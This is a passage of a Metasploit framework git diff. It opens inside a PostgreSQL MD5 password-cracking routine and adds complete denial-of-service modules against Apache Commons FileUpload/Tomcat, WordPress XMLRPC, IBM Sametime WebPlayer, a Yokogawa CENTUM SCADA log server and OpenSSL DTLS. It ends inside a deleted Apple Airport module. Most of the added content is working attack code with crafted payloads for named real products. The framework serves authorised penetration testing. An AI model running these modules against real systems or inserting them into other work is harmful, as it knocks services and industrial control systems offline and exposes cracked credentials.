#{myloot.path}") - end - postgres_array.each do |row| - print_status("Attempting to crack hash: #{row[0]}:#{row[1]}") - password = crack_hash(row[0],row[1]) - if password - print_good("Username: #{row[0]} Pass: #{password}") - report_auth_info( - :host => myloot.host.address, - :port => myloot.service.port, - :sname => 'postgres', - :user => row[0], - :pass => password - ) - - end - end - end - end - - end - - def crack_hash(username,hash) - - @seed.each do |word| - tmphash = Digest::MD5.hexdigest("#{word}#{username}") - if tmphash == hash - return word - end - end - - return nil - - end - - - -end diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index 72e8b1d846..fd96ab685d 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -77,6 +77,10 @@ class Metasploit3 < Msf::Auxiliary ports = Rex::Socket.portspec_crack(datastore['PORTS']) + if ports.empty? + raise Msf::OptionValidateError.new(['PORTS']) + end + ports.each_with_index do |port,i| p.tcp_dst = port p.tcp_src = rand(64511)+1024 diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index fbd7ec2175..27c3e2e3e4 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -258,11 +258,6 @@ class Metasploit3 < Msf::Auxiliary # In case modules or crawler calls to_s on de-chunked responses # resp.transfer_chunked = false - if resp['Set-Cookie'] - #puts "Set Cookie: #{resp['Set-Cookie']}" - #puts "Storing in cookie jar for host:port #{reqopts['rhost']}:#{reqopts['rport']}" - #$cookiejar["#{reqopts['rhost']}:#{reqopts['rport']}"] = resp['Set-Cookie'] - end if datastore['StoreDB'] storedb(reqopts,resp,$dbpathmsf) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index c7b5dd6cde..78673a1e8d 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -3,9 +3,20 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Auxiliary @@ -144,17 +155,17 @@ class Metasploit3 < Msf::Auxiliary #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way def unzip_docx - #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::ZipFile + #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File vprint_status("Extracting #{datastore['SOURCE']} into memory.") #we read it all into memory zip_data = Hash.new begin - Zip::ZipFile.open(datastore['SOURCE']) do |filezip| + Zip::File.open(datastore['SOURCE']) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") return nil end diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb index d5bd75f748..47699d7fb3 100644 --- a/modules/auxiliary/dos/hp/data_protector_rds.rb +++ b/modules/auxiliary/dos/hp/data_protector_rds.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - Rank = ManualRanking include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb new file mode 100644 index 0000000000..e0fd2f09e2 --- /dev/null +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS', + 'Description' => %q{ + This module triggers an infinite loop in Apache Commons FileUpload 1.0 + through 1.3 via a specially crafted Content-Type header. + Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle + mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 + and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also + uses Commons FileUpload as part of the Manager application. + }, + 'Author' => + [ + 'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public. + 'ribeirux' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0050'], + ['URL', 'http://markmail.org/message/kpfl7ax4el2owb3o'], + ['URL', 'http://tomcat.apache.org/security-8.html'], + ['URL', 'http://tomcat.apache.org/security-7.html'] + ], + 'DisclosureDate' => 'Feb 6 2014' + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, "The request URI", '/']), + OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) + ], self.class) + end + + def run + boundary = "0"*4092 + opts = { + 'method' => "POST", + 'uri' => normalize_uri(target_uri.to_s), + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => "#{boundary}00000", + 'headers' => { + 'Accept' => '*/*' + } + } + + # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby + # This should be rewritten with 1.upto() or Enumerable#each or + # something + for x in 1..datastore['RLIMIT'] + print_status("Sending request #{x} to #{peer}") + begin + c = connect + r = c.request_cgi(opts) + c.send_request(r) + # Don't wait for a response + rescue ::Rex::ConnectionError => exception + print_error("#{peer} - Unable to connect: '#{exception.message}'") + return + ensure + disconnect(c) if c + end + end + end +end + diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb index 5a5d5645b8..c96d4aaa42 100644 --- a/modules/auxiliary/dos/http/apache_mod_isapi.rb +++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb @@ -12,25 +12,28 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache mod_isapi <= 2.2.14 Dangling Pointer', + 'Name' => 'Apache mod_isapi Dangling Pointer', 'Description' => %q{ - This module triggers a use-after-free vulnerability in the Apache Software - Foundation mod_isapi extension. In order to reach the vulnerable code, the - target server must have an ISAPI module installed and configured. + This module triggers a use-after-free vulnerability in the Apache + Software Foundation mod_isapi extension for versions 2.2.14 and earlier. + In order to reach the vulnerable code, the target server must have an + ISAPI module installed and configured. - By making a request that terminates abnormally (either an aborted TCP connection or - an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later, - if another request comes for that ISAPI module, previously obtained pointers will - be used resulting in an access violation or potentially arbitrary code execution. + By making a request that terminates abnormally (either an aborted TCP + connection or an unsatisfied chunked request), mod_isapi will unload the + ISAPI extension. Later, if another request comes for that ISAPI module, + previously obtained pointers will be used resulting in an access + violation or potentially arbitrary code execution. - Although arbitrary code execution is theoretically possible, a real-world method of - invoking this consequence has not been proven. In order to do so, one would need to - find a situation where a particular ISAPI module loads at an image base address - that can be re-allocated by a remote attacker. + Although arbitrary code execution is theoretically possible, a + real-world method of invoking this consequence has not been proven. In + order to do so, one would need to find a situation where a particular + ISAPI module loads at an image base address that can be re-allocated by + a remote attacker. - Limited success was encountered using two separate ISAPI modules. In this scenario, - a second ISAPI module was loaded into the same memory area as the previously - unloaded module. + Limited success was encountered using two separate ISAPI modules. In + this scenario, a second ISAPI module was loaded into the same memory + area as the previously unloaded module. }, 'Author' => [ diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index 1816d668ac..bd39f544d2 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -22,8 +22,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Steve Jones', #original discoverer - 'Hoagie ', #original public exploit - 'Paulino Calderon ', #metasploit module + 'Hoagie ', #original public exploit + 'Paulino Calderon ', #metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb index 25d7cbd09a..de8884fce2 100644 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ b/modules/auxiliary/dos/http/hashcollision_dos.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary 'Scott A. Crosby', # original advisory 'Dan S. Wallach', # original advisory 'Krzysztof Kotowicz', # payload generator - 'Christian Mehlmauer ' # metasploit module + 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 02587acb33..44b6f5c0c1 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def check # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted - status = Exploit::CheckCode::Unknown + status = Exploit::CheckCode::Safe connect sock.put(http_request("GEM")) begin @@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary rescue EOFError # checking against >= 0.10.17 raises EOFError because there is no # response to GEM requests + vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)") + return Msf::Exploit::CheckCode::Unknown ensure disconnect end diff --git a/modules/auxiliary/dos/http/rails_action_view.rb b/modules/auxiliary/dos/http/rails_action_view.rb index ecf9b0e61b..857e61fee4 100644 --- a/modules/auxiliary/dos/http/rails_action_view.rb +++ b/modules/auxiliary/dos/http/rails_action_view.rb @@ -11,12 +11,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Ruby-on-Rails Action View MIME Memory Exhaustion', + 'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion', 'Description' => %q{ This module exploits a Denial of Service (DoS) condition in Action View that requires - a controller action. By sending a specially crafted content-type header to a rails + a controller action. By sending a specially crafted content-type header to a Rails application, it is possible for it to store the invalid MIME type, and may eventually - consumes all memory if enough invalid MIMEs are given. + consume all memory if enough invalid MIMEs are given. Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16. }, diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb new file mode 100644 index 0000000000..e2b3d9c4bc --- /dev/null +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XMLRPC DoS', + 'Description' => %q{ + Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. + This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are + also patched). + }, + 'Author' => + [ + 'Nir Goldshlager', # advisory + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'], + ['URL', 'http://www.breaksec.com/?p=6362'], + ['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'], + ['URL', 'https://core.trac.wordpress.org/changeset/29404'] + ], + 'DisclosureDate'=> 'Aug 6 2014' + )) + + register_options( + [ + OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]), + OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8]) + ], self.class) + end + + def rlimit + datastore['RLIMIT'] + end + + def default_limit + datastore['DEFAULT_LIMIT'] + end + + def fingerprint_step + datastore['FINGERPRINT_STEP'] + end + + def fingerprint + memory_to_use = fingerprint_step + # try out the available memory in steps + # apache will return a server error if the limit is reached + while memory_to_use < 1024 + vprint_status("#{peer} - trying memory limit #{memory_to_use}MB") + opts = { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => generate_xml(memory_to_use), + 'ctype' =>'text/xml' + } + + begin + # low timeout because the server error is returned immediately + res = send_request_cgi(opts, timeout = 3) + rescue ::Rex::ConnectionError => exception + print_error("#{peer} - unable to connect: '#{exception.message}'") + break + end + + if res && res.code == 500 + # limit reached, return last limit + last_limit = memory_to_use - fingerprint_step + vprint_status("#{peer} - got an error - using limit #{last_limit}MB") + return last_limit + else + memory_to_use += fingerprint_step + end + end + + # no limit can be determined + print_warning("#{peer} - can not determine limit, will use default of #{default_limit}") + return default_limit + end + + def generate_xml(size) + entity = Rex::Text.rand_text_alpha(3) + doctype = Rex::Text.rand_text_alpha(6) + param_value_1 = Rex::Text.rand_text_alpha(5) + param_value_2 = Rex::Text.rand_text_alpha(5) + + size_bytes = size * 1024 + + # Wordpress only resolves one level of entities so we need + # to specify one long entity and reference it multiple times + xml = '' + xml << "" + xml << ']>' + xml << '' + xml << '' + xml << "%{payload}" + xml << '' + xml << '' + xml << "%{param_value_1}" + xml << "%{param_value_2}" + xml << '' + xml << '' + + empty_xml = xml % { + :doctype => '', + :entity => '', + :entity_value => '', + :payload => '', + :param_value_1 => '', + :param_value_2 => '' + } + + space_to_fill = size_bytes - empty_xml.size + vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes") + + payload = "&#{entity};" * (space_to_fill / 6) + entity_value_length = space_to_fill - payload.length + + payload_xml = xml % { + :doctype => doctype, + :entity => entity, + :entity_value => Rex::Text.rand_text_alpha(entity_value_length), + :payload => payload, + :param_value_1 => param_value_1, + :param_value_2 => param_value_2 + } + + payload_xml + end + + def run + # get the max size + print_status("#{peer} - trying to fingerprint the maximum memory we could use") + size = fingerprint + print_status("#{peer} - using #{size}MB as memory limit") + + # only generate once + xml = generate_xml(size) + + for x in 1..rlimit + print_status("#{peer} - sending request ##{x}...") + opts = { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' + } + begin + c = connect + r = c.request_cgi(opts) + c.send_request(r) + # Don't wait for a response, can take very long + rescue ::Rex::ConnectionError => exception + print_error("#{peer} - unable to connect: '#{exception.message}'") + return + ensure + disconnect(c) if c + end + end + end +end diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index be905b9aab..11182c31a6 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -12,10 +12,10 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Avahi < 0.6.24 Source Port 0 DoS', + 'Name' => 'Avahi Source Port 0 DoS', 'Description' => %q{ Avahi-daemon versions prior to 0.6.24 can be DoS'd - with an mDNS packet with a source port of 0 + with an mDNS packet with a source port of 0. }, 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb new file mode 100644 index 0000000000..32c6c0ef6f --- /dev/null +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -0,0 +1,235 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + }, + 'Author' => + [ + 'Chris John Riley', # Vulnerability discovery + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['DOS', + { + 'Description' => 'Cause a Denial Of Service condition against a connected user' + } + ], + ['CHECK', + { + 'Description' => 'Checking if targeted user is online' + } + ] + ], + 'DefaultAction' => 'DOS', + 'References' => + [ + [ 'CVE', '2013-3986' ], + [ 'OSVDB', '99552' ], + [ 'BID', '63611'], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] + ], + 'DisclosureDate' => 'Nov 07 2013')) + + register_options( + [ + Opt::RPORT(5060), + OptAddress.new('RHOST', [true, 'The Sametime Media Server']), + OptString.new('SIPURI', [ + true, + 'The SIP URI of the user to be targeted', + '@' + ]), + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ], self.class) + + end + + def setup + # cleanup SIP target to ensure it's in the correct format to use + @sipuri = datastore['SIPURI'] + if @sipuri[0, 4].downcase == "sip:" + # remove sip: if present in string + @sipuri = @sipuri[4, @sipuri.length] + end + if @sipuri[0, 12].downcase == "webavclient-" + # remove WebAVClient- if present in string + @sipuri = @sipuri[12, @sipuri.length] + end + end + + def run + # inform user of action currently selected + print_status("#{peer} - Action: #{action.name} selected") + + # CHECK action + if action.name == 'CHECK' + print_status("#{peer} - Checking if user #{@sipuri} is online") + if check_user + print_good("#{peer} - User online") + else + print_status("#{peer} - User offline") + end + return + end + + # DOS action + print_status("#{peer} - Checking if user #{@sipuri} is online") + check_result = check_user + + if check_result == false + print_error("#{peer} - User is already offline... Exiting...") + return + end + + # only proceed if action is DOS the target user is + # online or the CHECKUSER option has been disabled + print_status("#{peer} - Targeting user: #{@sipuri}...") + dos_result = dos_user + + if dos_result + print_good("#{peer} - User is offline, DoS was successful") + else + print_error("#{peer} - User is still online") + end + + end + + def peer + "#{rhost}:#{rport}" + end + + def dos_user + length = 12000 # enough to overflow the end of allocated memory + msg = create_message(length) + res = send_msg(msg) + + if res.nil? + vprint_good("#{peer} - User #{@sipuri} is no responding") + return true + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") + vprint_good("#{peer} - User #{@sipuri} is no longer responding") + return true + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") + vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") + return true + elsif res =~ /200 OK/i + vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") + vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") + return false + else + vprint_status("#{peer} - Unexpected response") + return true + end + end + + # used to check the user is logged into Sametime and after DoS to check success + def check_user + length = Rex::Text.rand_text_numeric(2) # just enough to check response + msg = create_message(length) + res = send_msg(msg) + + # check response for current user status - common return codes + if res.nil? + vprint_error("#{peer} - No response") + return false + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)") + return false + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + vprint_good("#{peer} - User #{@sipuri} is online") + return true + else + vprint_error("#{peer} - Unknown server response") + return false + end + end + + def create_message(length) + # create SIP MESSAGE of specified length + vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long") + + source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) + source_host = Rex::Socket.source_address(datastore['RHOST']) + src = "#{source_host}:#{datastore['RPORT']}" + cseq = Rex::Text.rand_text_numeric(3) + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) + branch = Rex::Text.rand_text_alphanumeric(7) + + # setup SIP message in the correct format expected by the server + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data << "Max-Forwards: 80\r\n" + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" + data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n" + data << "CSeq: #{cseq} MESSAGE" + "\r\n" + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << "User-Agent: #{source_user}\r\n" + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" + data << message_text + + return data + end + + def timing_get_once(s, length) + if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 + return s.get_once(length, datastore['TIMEOUT']) + else + return s.get_once(length) + end + end + + def send_msg(msg) + begin + s = connect + # send message and store response + s.put(msg + "\r\n\r\n") rescue nil + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request + res = timing_get_once(s, 25) + end + return res + rescue ::Rex::ConnectionRefused + print_status("#{peer} - Unable to connect") + return nil + rescue ::Errno::ECONNRESET + print_status("#{peer} - DoS packet successful, host not responding.") + return nil + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("#{peer} - Couldn't connect") + return nil + ensure + # disconnect socket if still open + disconnect if s + end + end +end diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb new file mode 100644 index 0000000000..1fef0d305a --- /dev/null +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -0,0 +1,76 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow', + 'Description' => %q{ + This module abuses a buffer overflow vulnerability to trigger a Denial of Service + of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability + exists in the handling of malformed log packets, with an unexpected long level field. + The root cause of the vulnerability is a combination of usage of uninitialized memory + from the stack and a dangerous string copy. This module has been tested successfully + on Yokogawa CENTUM CS 3000 R3.08.50. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic ' + ], + 'References' => + [ + [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ], + [ 'CVE', '2014-0781'] + ], + 'DisclosureDate' => 'Mar 10 2014', + )) + + register_options( + [ + Opt::RPORT(52302), + OptInt.new('RLIMIT', [true, "Number of packets to send", 10]) + ], self.class) + end + + def run + if datastore['RLIMIT'] < 2 + print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.") + return + end + + # Crash due to read bad memory + test = [1024].pack("V") # packet length + test << "AAAA" # Unknown + test << "SOURCE\x00\x00" # Source + test << "\x00" * 8 # Padding + test << "B" * (1024 - test.length) # Level & Message coalesced + + connect_udp + + # Sending two consecutives packages is enough to + # trigger the overflow and cause the DoS. But if + # legit packets are processed by the server, between + # the two malformed packages, overflow won't happen. + # Unfortunately because of the usage of UDP and the + # absence of answer, there isn't a reliable way to + # check if the DoS condition has been triggered. + print_status("Sending #{datastore['RLIMIT']} packets...") + (1..datastore['RLIMIT']).each do |i| + vprint_status("Sending #{i}/#{datastore['RLIMIT']}...") + udp_sock.put(test) + end + + disconnect_udp + end + +end diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index 2ead93b597..232164fe73 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Sendmail SMTP Address prescan <= 8.12.8 Memory Corruption', + 'Name' => 'Sendmail SMTP Address prescan Memory Corruption', 'Description' => %q{ This is a proof of concept denial of service module for Sendmail versions 8.12.8 and earlier. The vulnerability is within the prescan() method when diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb index 67f434b839..32c558cd1b 100644 --- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb +++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS', + 'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS', 'Description' => %q{ This module performs a Denial of Service Attack against Datagram TLS in OpenSSL version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb new file mode 100644 index 0000000000..7c6f059d6b --- /dev/null +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Dos + include Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS', + 'Description' => %q{ + This module performs a Denial of Service Attack against Datagram TLS in + OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h. + This occurs when a DTLS ClientHello message has multiple fragments and the + fragment lengths of later fragments are larger than that of the first, a + buffer overflow occurs, causing a DoS. + }, + 'Author' => + [ + 'Juri Aedla ', # Vulnerability discovery + 'Jon Hart ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0195'], + ['ZDI', '14-173'], + ['BID', '67900'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] + ], + 'DisclosureDate' => 'Jun 05 2014')) + + register_options([ + Opt::RPORT(4433), + OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]) + ], self.class) + + end + + def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil) + # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes), + # fragment offset (3 bytes), fragment length (3 bytes), fragment body + sol = (seq << 48) | (frag_offset << 24) | frag_length + [ + (type << 24) | length, + (sol >> 32), + (sol & 0x00000000FFFFFFFF) + ].pack("NNN") + frag_body + end + + def build_tls_message(type, version, epoch, sequence, message) + # format is: type (1 byte), version (2 bytes), epoch # (2 bytes), + # sequence # (6 bytes) + message length (2 bytes), message body + es = (epoch << 48) | sequence + [ + type, + version, + (es >> 32), + (es & 0x00000000FFFFFFFF), + message.length + ].pack("CnNNn") + message + end + + def run + # add a small fragment + fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C') + # add a large fragment where the length is significantly larger than that of the first + # TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations + fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234)) + message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments) + connect_udp + print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet") + udp_sock.put(message) + disconnect_udp + end +end diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb index 5118638174..d13a07f95e 100644 --- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb +++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb @@ -10,9 +10,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos - # The whole point is to cause a router crash. - Rank = ManualRanking - def initialize super( 'Name' => 'Juniper JunOS Malformed TCP Option', diff --git a/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb b/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb deleted file mode 100644 index ee34dcef12..0000000000 --- a/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb +++ /dev/null @@ -1,162 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apple Airport 802.11 Probe Response Kernel Memory Corruption', - 'Description' => %q{ - The Apple Airport driver provided with Orinoco-based Airport cards (1999-2003 PowerBooks, iMacs) - is vulnerable to a remote memory corruption flaw. When the driver is placed into active scanning - mode, a malformed probe response frame can be used to corrupt internal kernel structures, leading - to arbitrary code execution. This vulnerability is triggered when a probe response frame is received - that does 